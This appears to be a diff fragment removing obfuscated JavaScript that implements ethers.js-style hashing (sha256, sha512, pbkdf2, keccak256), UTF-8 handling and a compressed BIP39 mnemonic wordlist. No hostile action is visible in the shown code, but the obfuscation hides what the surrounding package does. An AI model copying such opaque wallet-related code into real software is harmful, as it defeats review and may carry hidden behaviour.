- var _0x526059 = false;
- function _0x38416e(_0x254632) {
- var _0x1c7809 = _0x2565f8(_0x254632, "data");
- return _0x192257(_0x1ff084(_0x1c7809));
- }
- function _0x48c09d(_0x11c394) {
- var _0x452fc3 = _0x2565f8(_0x11c394, "data");
- return _0x192257(_0x62b78(_0x452fc3));
- }
- _0x38416e._ = _0x263a69;
- _0x38416e.lock = function () {
- _0x4a9623 = true;
- };
- _0x38416e.register = function (_0xdfefd9) {
- if (_0x4a9623) {
- throw new Error("sha256 is locked");
- }
- _0x1ff084 = _0xdfefd9;
- };
- Object.freeze(_0x38416e);
- _0x48c09d._ = _0x192869;
- _0x48c09d.lock = function () {
- _0x526059 = true;
- };
- _0x48c09d.register = function (_0x2666c8) {
- if (_0x526059) {
- throw new Error("sha512 is locked");
- }
- _0x62b78 = _0x2666c8;
- };
- Object.freeze(_0x38416e);
- var _0x801ee1 = false;
- var _0x5edbc5 = function (_0x56f940, _0x6f348, _0x1dfd9f, _0x4051c0, _0x535dd0) {
- return function (_0x526c7c, _0x3aa5ac, _0xbff3aa, _0x3d0763, _0x1608e2) {
- var _0x4e1853 = {
- sha256: _0x137671,
- sha512: _0x2af318
- }[_0x1608e2];
- _0x413a2d(null != _0x4e1853, "invalid pbkdf2 algorithm", "algorithm", _0x1608e2);
- return _0x28d598(_0x4e1853, _0x526c7c, _0x3aa5ac, {
- c: _0xbff3aa,
- dkLen: _0x3d0763
- });
- }(_0x56f940, _0x6f348, _0x1dfd9f, _0x4051c0, _0x535dd0);
- };
- var _0x5a2aff = _0x5edbc5;
- function _0x7a213d(_0x408bd6, _0x2221d0, _0x4e5b45, _0x423a6c, _0x192de0) {
- var _0x962e83 = _0x2565f8(_0x408bd6, "password");
- var _0x1cc824 = _0x2565f8(_0x2221d0, "salt");
- return _0x192257(_0x5a2aff(_0x962e83, _0x1cc824, _0x4e5b45, _0x423a6c, _0x192de0));
- }
- function _0x4b87e1(_0x508332, _0x3a1f5c, _0x58eba8, _0x1fabd1, _0x3fd1bc) {
- if ("BAD_PREFIX" === _0x508332 || "UNEXPECTED_CONTINUE" === _0x508332) {
- for (var _0x50f115 = 0, _0x213d10 = _0x3a1f5c + 1; _0x213d10 < _0x58eba8.length && _0x58eba8[_0x213d10] >> 6 == 2; _0x213d10++) {
- _0x50f115++;
- }
- return _0x50f115;
- }
- return "OVERRUN" === _0x508332 ? _0x58eba8.length - _0x3a1f5c - 1 : 0;
- }
- _0x7a213d._ = _0x5edbc5;
- _0x7a213d.lock = function () {
- _0x801ee1 = true;
- };
- _0x7a213d.register = function (_0x364e03) {
- if (_0x801ee1) {
- throw new Error("pbkdf2 is locked");
- }
- _0x5a2aff = _0x364e03;
- };
- Object.freeze(_0x7a213d);
- var _0x224af3 = Object.freeze({
- error: function (_0x38cdb9, _0x227ae2, _0x367372, _0x2d1b6d, _0x1dbe70) {
- _0x413a2d(false, "invalid codepoint at offset ".concat(_0x227ae2, "; ").concat(_0x38cdb9), "bytes", _0x367372);
- },
- ignore: _0x4b87e1,
- replace: function (_0x23a926, _0x336c82, _0x51fbdd, _0x5be422, _0x8de904) {
- return "OVERLONG" === _0x23a926 ? (_0x413a2d("number" == typeof _0x8de904, "invalid bad code point for replacement", "badCodepoint", _0x8de904), _0x5be422.push(_0x8de904), 0) : (_0x5be422.push(65533), _0x4b87e1(_0x23a926, _0x336c82, _0x51fbdd));
- }
- });
- function _0x1667a1(_0x170951, _0x1d33f4) {
- null != _0x1d33f4 && (_0x616e30(_0x1d33f4), _0x170951 = _0x170951.normalize(_0x1d33f4));
- for (var _0x40a768 = [], _0x2af110 = 0; _0x2af110 < _0x170951.length; _0x2af110++) {
- var _0x22013e = _0x170951.charCodeAt(_0x2af110);
- if (_0x22013e < 128) {
- _0x40a768.push(_0x22013e);
- } else {
- if (_0x22013e < 2048) {
- _0x40a768.push(_0x22013e >> 6 | 192);
- _0x40a768.push(63 & _0x22013e | 128);
- } else {
- if (55296 == (64512 & _0x22013e)) {
- _0x2af110++;
- var _0x4bd1b7 = _0x170951.charCodeAt(_0x2af110);
- _0x413a2d(_0x2af110 < _0x170951.length && 56320 == (64512 & _0x4bd1b7), "invalid surrogate pair", "str", _0x170951);
- var _0x2f3845 = 65536 + ((1023 & _0x22013e) << 10) + (1023 & _0x4bd1b7);
- _0x40a768.push(_0x2f3845 >> 18 | 240);
- _0x40a768.push(_0x2f3845 >> 12 & 63 | 128);
- _0x40a768.push(_0x2f3845 >> 6 & 63 | 128);
- _0x40a768.push(63 & _0x2f3845 | 128);
- } else {
- _0x40a768.push(_0x22013e >> 12 | 224);
- _0x40a768.push(_0x22013e >> 6 & 63 | 128);
- _0x40a768.push(63 & _0x22013e | 128);
- }
- }
- }
- }
- return new Uint8Array(_0x40a768);
- }
- function _0x311311(_0x4889a1, _0x1ab62d) {
- return function (_0x5bd9d3, _0x5e3cae) {
- null == _0x5e3cae && (_0x5e3cae = _0x224af3.error);
- for (var _0x48a3dd = _0x2565f8(_0x5bd9d3, "bytes"), _0x349c16 = [], _0x1b1bf1 = 0; _0x1b1bf1 < _0x48a3dd.length;) {
- var _0x1c887c = _0x48a3dd[_0x1b1bf1++];
- if (_0x1c887c >> 7 != 0) {
- var _0x318bab = null;
- var _0x170813 = null;
- if (192 == (224 & _0x1c887c)) {
- _0x318bab = 1;
- _0x170813 = 127;
- } else {
- if (224 == (240 & _0x1c887c)) {
- _0x318bab = 2;
- _0x170813 = 2047;
- } else {
- if (240 != (248 & _0x1c887c)) {
- _0x1b1bf1 += _0x5e3cae(128 == (192 & _0x1c887c) ? "UNEXPECTED_CONTINUE" : "BAD_PREFIX", _0x1b1bf1 - 1, _0x48a3dd, _0x349c16);
- continue;
- }
- _0x318bab = 3;
- _0x170813 = 65535;
- }
- }
- if (_0x1b1bf1 - 1 + _0x318bab >= _0x48a3dd.length) {
- _0x1b1bf1 += _0x5e3cae("OVERRUN", _0x1b1bf1 - 1, _0x48a3dd, _0x349c16);
- } else {
- for (var _0x4d6428 = _0x1c887c & (1 << 8 - _0x318bab - 1) - 1, _0x592815 = 0; _0x592815 < _0x318bab; _0x592815++) {
- var _0x37787e = _0x48a3dd[_0x1b1bf1];
- if (128 != (192 & _0x37787e)) {
- _0x1b1bf1 += _0x5e3cae("MISSING_CONTINUE", _0x1b1bf1, _0x48a3dd, _0x349c16);
- _0x4d6428 = null;
- break;
- }
- _0x4d6428 = _0x4d6428 << 6 | 63 & _0x37787e;
- _0x1b1bf1++;
- }
- null !== _0x4d6428 && (_0x4d6428 > 1114111 ? _0x1b1bf1 += _0x5e3cae("OUT_OF_RANGE", _0x1b1bf1 - 1 - _0x318bab, _0x48a3dd, _0x349c16, _0x4d6428) : _0x4d6428 >= 55296 && _0x4d6428 <= 57343 ? _0x1b1bf1 += _0x5e3cae("UTF16_SURROGATE", _0x1b1bf1 - 1 - _0x318bab, _0x48a3dd, _0x349c16, _0x4d6428) : _0x4d6428 <= _0x170813 ? _0x1b1bf1 += _0x5e3cae("OVERLONG", _0x1b1bf1 - 1 - _0x318bab, _0x48a3dd, _0x349c16, _0x4d6428) : _0x349c16.push(_0x4d6428));
- }
- } else {
- _0x349c16.push(_0x1c887c);
- }
- }
- return _0x349c16;
- }(_0x4889a1, _0x1ab62d).map(function (_0x51cac4) {
- return _0x51cac4 <= 65535 ? String.fromCharCode(_0x51cac4) : (_0x51cac4 -= 65536, String.fromCharCode(55296 + (_0x51cac4 >> 10 & 1023), 56320 + (1023 & _0x51cac4)));
- }).join("");
- }
- const [_0x5b73d2, _0x2c141f, _0x3bb82d] = [[], [], []];
- const _0x325be6 = BigInt(0);
- const _0x190ade = BigInt(1);
- const _0x1fc6e3 = BigInt(2);
- const _0x5787be = BigInt(7);
- const _0x4431a3 = BigInt(256);
- const _0x115a6e = BigInt(113);
- for (let _0xd3b454 = 0, _0x56fe62 = _0x190ade, _0x22ebe1 = 1, _0x578f26 = 0; _0xd3b454 < 24; _0xd3b454++) {
- [_0x22ebe1, _0x578f26] = [_0x578f26, (2 * _0x22ebe1 + 3 * _0x578f26) % 5];
- _0x5b73d2.push(2 * (5 * _0x578f26 + _0x22ebe1));
- _0x2c141f.push((_0xd3b454 + 1) * (_0xd3b454 + 2) / 2 % 64);
- let _0x3e28b2 = _0x325be6;
- for (let _0x29d60a = 0; _0x29d60a < 7; _0x29d60a++) {
- _0x56fe62 = (_0x56fe62 << _0x190ade ^ (_0x56fe62 >> _0x5787be) * _0x115a6e) % _0x4431a3;
- _0x56fe62 & _0x1fc6e3 && (_0x3e28b2 ^= _0x190ade << (_0x190ade << BigInt(_0x29d60a)) - _0x190ade);
- }
- _0x3bb82d.push(_0x3e28b2);
- }
- const [_0x513736, _0x2faefe] = _0x7fc44b.split(_0x3bb82d, true);
- const _0x35edc9 = (_0x2a393c, _0x495023, _0x2836ce) => _0x2836ce > 32 ? _0x7fc44b.rotlBH(_0x2a393c, _0x495023, _0x2836ce) : _0x7fc44b.rotlSH(_0x2a393c, _0x495023, _0x2836ce);
- const _0x928946 = (_0x3ff54c, _0x21abdc, _0x857c0c) => _0x857c0c > 32 ? _0x7fc44b.rotlBL(_0x3ff54c, _0x21abdc, _0x857c0c) : _0x7fc44b.rotlSL(_0x3ff54c, _0x21abdc, _0x857c0c);
- class _0x71f63b extends _0x3da529 {
- constructor(_0x185cd1, _0x38921b, _0x450d7d, _0x239be4 = false, _0x11d283 = 24) {
- if (super(), this.blockLen = _0x185cd1, this.suffix = _0x38921b, this.outputLen = _0x450d7d, this.enableXOF = _0x239be4, this.rounds = _0x11d283, this.pos = 0, this.posOut = 0, this.finished = false, this.destroyed = false, _0x38422b.number(_0x450d7d), 0 >= this.blockLen || this.blockLen >= 200) {
- throw new Error("Sha3 supports only keccak-f1600 function");
- }
- this.state = new Uint8Array(200);
- this.state32 = _0x2011b4(this.state);
- }
- keccak() {
- !function (_0x592fbb, _0x48bb89 = 24) {
- const _0x5574fd = new Uint32Array(10);
- for (let _0xb3cf03 = 24 - _0x48bb89; _0xb3cf03 < 24; _0xb3cf03++) {
- for (let _0x52e38a = 0; _0x52e38a < 10; _0x52e38a++) {
- _0x5574fd[_0x52e38a] = _0x592fbb[_0x52e38a] ^ _0x592fbb[_0x52e38a + 10] ^ _0x592fbb[_0x52e38a + 20] ^ _0x592fbb[_0x52e38a + 30] ^ _0x592fbb[_0x52e38a + 40];
- }
- for (let _0xb22fca = 0; _0xb22fca < 10; _0xb22fca += 2) {
- const _0x3e9416 = (_0xb22fca + 8) % 10;
- const _0x13c79c = (_0xb22fca + 2) % 10;
- const _0x3ec6f0 = _0x5574fd[_0x13c79c];
- const _0x3c7642 = _0x5574fd[_0x13c79c + 1];
- const _0x36131b = _0x35edc9(_0x3ec6f0, _0x3c7642, 1) ^ _0x5574fd[_0x3e9416];
- const _0x1aa464 = _0x928946(_0x3ec6f0, _0x3c7642, 1) ^ _0x5574fd[_0x3e9416 + 1];
- for (let _0x20e906 = 0; _0x20e906 < 50; _0x20e906 += 10) {
- _0x592fbb[_0xb22fca + _0x20e906] ^= _0x36131b;
- _0x592fbb[_0xb22fca + _0x20e906 + 1] ^= _0x1aa464;
- }
- }
- let _0x5a2627 = _0x592fbb[2];
- let _0x113370 = _0x592fbb[3];
- for (let _0x9ff6c4 = 0; _0x9ff6c4 < 24; _0x9ff6c4++) {
- const _0x41e613 = _0x2c141f[_0x9ff6c4];
- const _0x27a1c9 = _0x35edc9(_0x5a2627, _0x113370, _0x41e613);
- const _0x45a21a = _0x928946(_0x5a2627, _0x113370, _0x41e613);
- const _0x126fa4 = _0x5b73d2[_0x9ff6c4];
- _0x5a2627 = _0x592fbb[_0x126fa4];
- _0x113370 = _0x592fbb[_0x126fa4 + 1];
- _0x592fbb[_0x126fa4] = _0x27a1c9;
- _0x592fbb[_0x126fa4 + 1] = _0x45a21a;
- }
- for (let _0x2935d2 = 0; _0x2935d2 < 50; _0x2935d2 += 10) {
- for (let _0x225449 = 0; _0x225449 < 10; _0x225449++) {
- _0x5574fd[_0x225449] = _0x592fbb[_0x2935d2 + _0x225449];
- }
- for (let _0x239197 = 0; _0x239197 < 10; _0x239197++) {
- _0x592fbb[_0x2935d2 + _0x239197] ^= ~_0x5574fd[(_0x239197 + 2) % 10] & _0x5574fd[(_0x239197 + 4) % 10];
- }
- }
- _0x592fbb[0] ^= _0x513736[_0xb3cf03];
- _0x592fbb[1] ^= _0x2faefe[_0xb3cf03];
- }
- _0x5574fd.fill(0);
- }(this.state32, this.rounds);
- this.posOut = 0;
- this.pos = 0;
- }
- update(_0x48b394) {
- _0x38422b.exists(this);
- const {
- blockLen: _0x2d0f2a,
- state: _0x30fa52
- } = this;
- const _0x4fce3b = (_0x48b394 = _0x351a47(_0x48b394)).length;
- for (let _0x4f79ab = 0; _0x4f79ab < _0x4fce3b;) {
- const _0x51e08b = Math.min(_0x2d0f2a - this.pos, _0x4fce3b - _0x4f79ab);
- for (let _0x51f0f4 = 0; _0x51f0f4 < _0x51e08b; _0x51f0f4++) {
- _0x30fa52[this.pos++] ^= _0x48b394[_0x4f79ab++];
- }
- this.pos === _0x2d0f2a && this.keccak();
- }
- return this;
- }
- finish() {
- if (this.finished) {
- return;
- }
- this.finished = true;
- const {
- state: _0x1b9de1,
- suffix: _0x157eba,
- pos: _0x3a9728,
- blockLen: _0x36c083
- } = this;
- _0x1b9de1[_0x3a9728] ^= _0x157eba;
- 0 != (128 & _0x157eba) && _0x3a9728 === _0x36c083 - 1 && this.keccak();
- _0x1b9de1[_0x36c083 - 1] ^= 128;
- this.keccak();
- }
- writeInto(_0x355aae) {
- _0x38422b.exists(this, false);
- _0x38422b.bytes(_0x355aae);
- this.finish();
- const _0x2d7ae3 = this.state;
- const {
- blockLen: _0x27ba99
- } = this;
- for (let _0x165e0f = 0, _0x57af89 = _0x355aae.length; _0x165e0f < _0x57af89;) {
- this.posOut >= _0x27ba99 && this.keccak();
- const _0x6d4a03 = Math.min(_0x27ba99 - this.posOut, _0x57af89 - _0x165e0f);
- _0x355aae.set(_0x2d7ae3.subarray(this.posOut, this.posOut + _0x6d4a03), _0x165e0f);
- this.posOut += _0x6d4a03;
- _0x165e0f += _0x6d4a03;
- }
- return _0x355aae;
- }
- xofInto(_0x96d8ee) {
- if (!this.enableXOF) {
- throw new Error("XOF is not possible for this instance");
- }
- return this.writeInto(_0x96d8ee);
- }
- xof(_0xa01f67) {
- _0x38422b.number(_0xa01f67);
- return this.xofInto(new Uint8Array(_0xa01f67));
- }
- digestInto(_0x2c5edd) {
- if (_0x38422b.output(_0x2c5edd, this), this.finished) {
- throw new Error("digest() was already called");
- }
- this.writeInto(_0x2c5edd);
- this.destroy();
- return _0x2c5edd;
- }
- digest() {
- return this.digestInto(new Uint8Array(this.outputLen));
- }
- destroy() {
- this.destroyed = true;
- this.state.fill(0);
- }
- _cloneInto(_0x381c11) {
- const {
- blockLen: _0x44bb44,
- suffix: _0x8b416b,
- outputLen: _0x4cae77,
- rounds: _0x1e0d86,
- enableXOF: _0x1e9374
- } = this;
- _0x381c11 || (_0x381c11 = new _0x71f63b(_0x44bb44, _0x8b416b, _0x4cae77, _0x1e9374, _0x1e0d86));
- _0x381c11.state32.set(this.state32);
- _0x381c11.pos = this.pos;
- _0x381c11.posOut = this.posOut;
- _0x381c11.finished = this.finished;
- _0x381c11.rounds = _0x1e0d86;
- _0x381c11.suffix = _0x8b416b;
- _0x381c11.outputLen = _0x4cae77;
- _0x381c11.enableXOF = _0x1e9374;
- _0x381c11.destroyed = this.destroyed;
- return _0x381c11;
- }
- }
- const _0x593531 = (_0x2346eb, _0x1c564a, _0x38663f) => _0xef64ce(() => new _0x71f63b(_0x1c564a, _0x2346eb, _0x38663f));
- _0x593531(6, 144, 28);
- _0x593531(6, 136, 32);
- _0x593531(6, 104, 48);
- _0x593531(6, 72, 64);
- _0x593531(1, 144, 28);
- const _0x21f2a0 = _0x593531(1, 136, 32);
- _0x593531(1, 104, 48);
- _0x593531(1, 72, 64);
- const _0x5b3f0c = (_0x3437e9, _0x94c6b9, _0x56a6a2) => function (_0x50ed7b) {
- const _0x508894 = (_0x451b0e, _0xf1239d) => _0x50ed7b(_0xf1239d).update(_0x351a47(_0x451b0e)).digest();
- const _0x1238d8 = _0x50ed7b({});
- _0x508894.outputLen = _0x1238d8.outputLen;
- _0x508894.blockLen = _0x1238d8.blockLen;
- _0x508894.create = _0x436640 => _0x50ed7b(_0x436640);
- return _0x508894;
- }((_0x1b0225 = {}) => new _0x71f63b(_0x94c6b9, _0x3437e9, undefined === _0x1b0225.dkLen ? _0x56a6a2 : _0x1b0225.dkLen, true));
- _0x5b3f0c(31, 168, 16);
- _0x5b3f0c(31, 136, 32);
- var _0x6524d4 = false;
- var _0x2b2314 = function (_0x109052) {
- return _0x21f2a0(_0x109052);
- };
- var _0x49e02b = _0x2b2314;
- function _0xa68238(_0x559243) {
- var _0x380ff1 = _0x2565f8(_0x559243, "data");
- return _0x192257(_0x49e02b(_0x380ff1));
- }
- function _0x261fa4(_0x54dd77) {
- return _0xa68238(_0x1667a1(_0x54dd77));
- }
- _0xa68238._ = _0x2b2314;
- _0xa68238.lock = function () {
- _0x6524d4 = true;
- };
- _0xa68238.register = function (_0x4d0f7d) {
- if (_0x6524d4) {
- throw new TypeError("keccak256 is locked");
- }
- _0x49e02b = _0x4d0f7d;
- };
- Object.freeze(_0xa68238);
- var _0x27ab29 = " !#$%&'()*+,-./<=>?@[]^_`{|}~";
- var _0x2bc107 = /^[a-z]*$/i;
- function _0x385e02(_0xb0eec6, _0x3e0d1c) {
- var _0x4dd516 = 97;
- return _0xb0eec6.reduce(function (_0x5c642e, _0x4da3b3) {
- _0x4da3b3 === _0x3e0d1c ? _0x4dd516++ : _0x4da3b3.match(_0x2bc107) ? _0x5c642e.push(String.fromCharCode(_0x4dd516) + _0x4da3b3) : (_0x4dd516 = 97, _0x5c642e.push(_0x4da3b3));
- return _0x5c642e;
- }, []);
- }
- var _0x5728f7 = function () {
- function _0x1fcdb3(_0x2f5d88) {
- _0x1d998d(this, _0x1fcdb3);
- _0x713ed3(this, "locale", undefined);
- _0x7e8dd6(this, {
- locale: _0x2f5d88
- });
- }
- _0x561e78(_0x1fcdb3, [{
- key: "split",
- value: function (_0x331224) {
- return _0x331224.toLowerCase().split(/\s+/g);
- }
- }, {
- key: "join",
- value: function (_0x4bbca4) {
- return _0x4bbca4.join(" ");
- }
- }]);
- return _0x1fcdb3;
- }();
- function _0xb465cc(_0x5e0e91, _0x2a5eae, _0x5eabc6) {
- _0xa74c10(_0x5e0e91, _0x2a5eae);
- _0x2a5eae.set(_0x5e0e91, _0x5eabc6);
- }
- function _0xa74c10(_0xa2190e, _0x48fe0c) {
- if (_0x48fe0c.has(_0xa2190e)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- function _0x3859c2(_0x1c8c17, _0x189dee, _0x34e5ff) {
- if (!_0x189dee.has(_0x1c8c17)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x34e5ff;
- }
- var _0x49c5c2 = new WeakMap();
- var _0x889d21 = new WeakMap();
- var _0x5bb692 = new WeakMap();
- var _0x45f5bd = new WeakSet();
- var _0x3158b5 = function (_0xaba6e3) {
- _0x2e6032(_0x5714f0, _0xaba6e3);
- var _0x87f204;
- var _0x1d2c41;
- _0x87f204 = _0x5714f0;
- _0x1d2c41 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x1a95f7) {
- return false;
- }
- }();
- var _0x1a1f7a = function () {
- var _0x9645e9;
- var _0x10d620 = _0x1cc855(_0x87f204);
- if (_0x1d2c41) {
- var _0x11ca15 = _0x1cc855(this).constructor;
- _0x9645e9 = Reflect.construct(_0x10d620, arguments, _0x11ca15);
- } else {
- _0x9645e9 = _0x10d620.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x9645e9);
- };
- function _0x5714f0(_0x82fe12, _0x260076, _0x2b2431) {
- var _0x35977b;
- var _0x5a3252;
- var _0x5d12b0;
- _0x1d998d(this, _0x5714f0);
- _0xa74c10(_0x5a3252 = _0x3ea587(_0x35977b = _0x1a1f7a.call(this, _0x82fe12)), _0x5d12b0 = _0x45f5bd);
- _0x5d12b0.add(_0x5a3252);
- _0xb465cc(_0x3ea587(_0x35977b), _0x49c5c2, {
- writable: true,
- value: undefined
- });
- _0xb465cc(_0x3ea587(_0x35977b), _0x889d21, {
- writable: true,
- value: undefined
- });
- _0xb465cc(_0x3ea587(_0x35977b), _0x5bb692, {
- writable: true,
- value: undefined
- });
- _0x207f54(_0x3ea587(_0x35977b), _0x49c5c2, _0x260076);
- _0x207f54(_0x3ea587(_0x35977b), _0x889d21, _0x2b2431);
- _0x207f54(_0x3ea587(_0x35977b), _0x5bb692, null);
- return _0x35977b;
- }
- _0x561e78(_0x5714f0, [{
- key: "_data",
- get: function () {
- return _0x46b89d(this, _0x49c5c2);
- }
- }, {
- key: "_decodeWords",
- value: function () {
- _0x413a2d("0" === (_0x58f82a = _0x46b89d(this, _0x49c5c2))[0], "unsupported auwl data", "data", _0x58f82a);
- return function (_0x5f0a5f, _0x30a55c) {
- for (var _0x4019da = _0x27ab29.length - 1; _0x4019da >= 0; _0x4019da--) {
- _0x5f0a5f = _0x5f0a5f.split(_0x27ab29[_0x4019da]).join(_0x30a55c.substring(2 * _0x4019da, 2 * _0x4019da + 2));
- }
- var _0x2fc969 = [];
- var _0x54ff05 = _0x5f0a5f.replace(/(:|([0-9])|([A-Z][a-z]*))/g, function (_0x217a3d, _0x564a24, _0x21eb35, _0x1e9601) {
- if (_0x21eb35) {
- for (var _0x30e124 = parseInt(_0x21eb35); _0x30e124 >= 0; _0x30e124--) {
- _0x2fc969.push(";");
- }
- } else {
- _0x2fc969.push(_0x564a24.toLowerCase());
- }
- return "";
- });
- if (_0x54ff05) {
- throw new Error("leftovers: ".concat(JSON.stringify(_0x54ff05)));
- }
- return _0x385e02(_0x385e02(_0x2fc969, ";"), ":");
- }(_0x58f82a.substring(1 + 2 * _0x27ab29.length), _0x58f82a.substring(1, 1 + 2 * _0x27ab29.length));
- var _0x58f82a;
- }
- }, {
- key: "getWord",
- value: function (_0x1a0080) {
- var _0x4271ce = _0x3859c2(this, _0x45f5bd, _0x58e167).call(this);
- _0x413a2d(_0x1a0080 >= 0 && _0x1a0080 < _0x4271ce.length, "invalid word index: ".concat(_0x1a0080), "index", _0x1a0080);
- return _0x4271ce[_0x1a0080];
- }
- }, {
- key: "getWordIndex",
- value: function (_0x42ff42) {
- return _0x3859c2(this, _0x45f5bd, _0x58e167).call(this).indexOf(_0x42ff42);
- }
- }]);
- return _0x5714f0;
- }(_0x5728f7);
- function _0x58e167() {
- if (null == _0x46b89d(this, _0x5bb692)) {
- var _0x4c6605 = this._decodeWords();
- if (_0x261fa4(_0x4c6605.join("\n") + "\n") !== _0x46b89d(this, _0x889d21)) {
- throw new Error("BIP39 Wordlist for ".concat(this.locale, " FAILED"));
- }
- _0x207f54(this, _0x5bb692, _0x4c6605);
- }
- return _0x46b89d(this, _0x5bb692);
- }
- var _0x4bf108 = "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{etImeIspIt-OpO[Ou^OwdUci$UelUi'Umb!Un^UshYY,$2BeLtu*PPbo?dRiousRr|Rta(R=Sh]/omTe3C!:DMa+MpN)Ng R(gShUght WnY3AlBa>BrisCadeCemb CideCl(eC%a>C*a'ErF&'F(eFyG*eLayLiv M3AgramAlAm#dAryCeE'lEtFf G.$Gn.yLemmaNn NosaurRe@RtSag*eScov Sea'ShSmi[S%d Splay/<)V tVideV%)Zzy5Ct%Cum|G~Lph(Ma(Na>NkeyN%OrSeUb!Ve_ftAg#AmaA,-AwEamE[IftIllInkIpI=OpUmY2CkMbNeR(g/T^Ty1Arf1Nam-:G G!RlyRnR`Sily/Sy1HoOlogyOnomy0GeItUca>1F%t0G1GhtTh 2BowD E@r-EgSe0B?kBodyBra)Er+Ot]PloyPow Pty0Ab!A@DD![D%'EmyErgyF%)Ga+G(eH<)JoyLi,OughR-hRollSu*T Ti*TryVelope1Isode0U$Uip0AA'OdeOs]R%Upt0CapeSayS&)Ta>0Ern$H-s1Id&)IlOkeOl=1A@Amp!Ce[Ch<+C.eCludeCu'Ecu>Erci'Hau,Hib.I!I,ItOt-PM&'Mu}Pa@Po'Pro=Pul'0ChCludeComeC*a'DexD-a>Do%Du,ryFN Noc|PutQuirySSue0Em1Ory:CketGu?RZz3AlousAns~yWel9BInKeUr}yY5D+I)MpNg!Ni%Nk/:Ng?oo3EnEpT^upY3CkDD}yNdNgdomSsTT^&TeTt&Wi4EeIfeO{Ow:BBelB%Dd DyKeMpNgua+PtopR+T T(UghUndryVaWWnWsu.Y Zy3Ad AfArnA=Ctu*FtGG$G&dIsu*M#NdNg`NsOp?dSs#Tt Vel3ArB tyBr?yC&'FeFtGhtKeMbM.NkOnQuid/Tt!VeZ?d5AdAnB, C$CkG-NelyNgOpTt yUdUn+VeY$5CkyGga+Mb N?N^Xury3R-s:Ch(eDG-G}tIdIlInJ%KeMm$NNa+Nda>NgoNs]Nu$P!Rb!R^Rg(R(eRketRria+SkSs/ T^T i$ThTrixTt XimumZe3AdowAnAsu*AtCh<-D$DiaLodyLtMb M%yNt]NuRcyR+R.RryShSsa+T$Thod3Dd!DnightLk~]M-NdNimumN%Nu>Rac!Rr%S ySs/akeXXedXtu*5Bi!DelDifyMM|N.%NkeyN, N`OnR$ReRn(gSqu.oTh T]T%Unta(U'VeVie5ChFf(LeLtiplySc!SeumShroomS-/Tu$3Self/ yTh:I=MePk(Rrow/yT]Tu*3ArCkEdGati=G!@I` PhewR=/TTw%kUtr$V WsXt3CeGht5B!I'M(eeOd!Rm$R`SeTab!TeTh(gTi)VelW5C!?Mb R'T:K0EyJe@Li+Scu*S =Ta(Vious0CurEAyEa'Ed+U{UgUn+2EmEtIntL?LeLi)NdNyOlPul?Rt]S.]Ssib!/TatoTt yV tyWd W _@i)Ai'Ed-tEf Epa*Es|EttyEv|I)IdeIm?yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO";
- var _0x1ce1fa = "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60";
- var _0x5953ba = null;
- var _0x3b9cc4 = function (_0xd5763d) {
- _0x2e6032(_0x1135b8, _0xd5763d);
- var _0x1feb9f;
- var _0x2204b4;
- _0x1feb9f = _0x1135b8;
- _0x2204b4 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x2dde7b) {
- return false;
- }
- }();
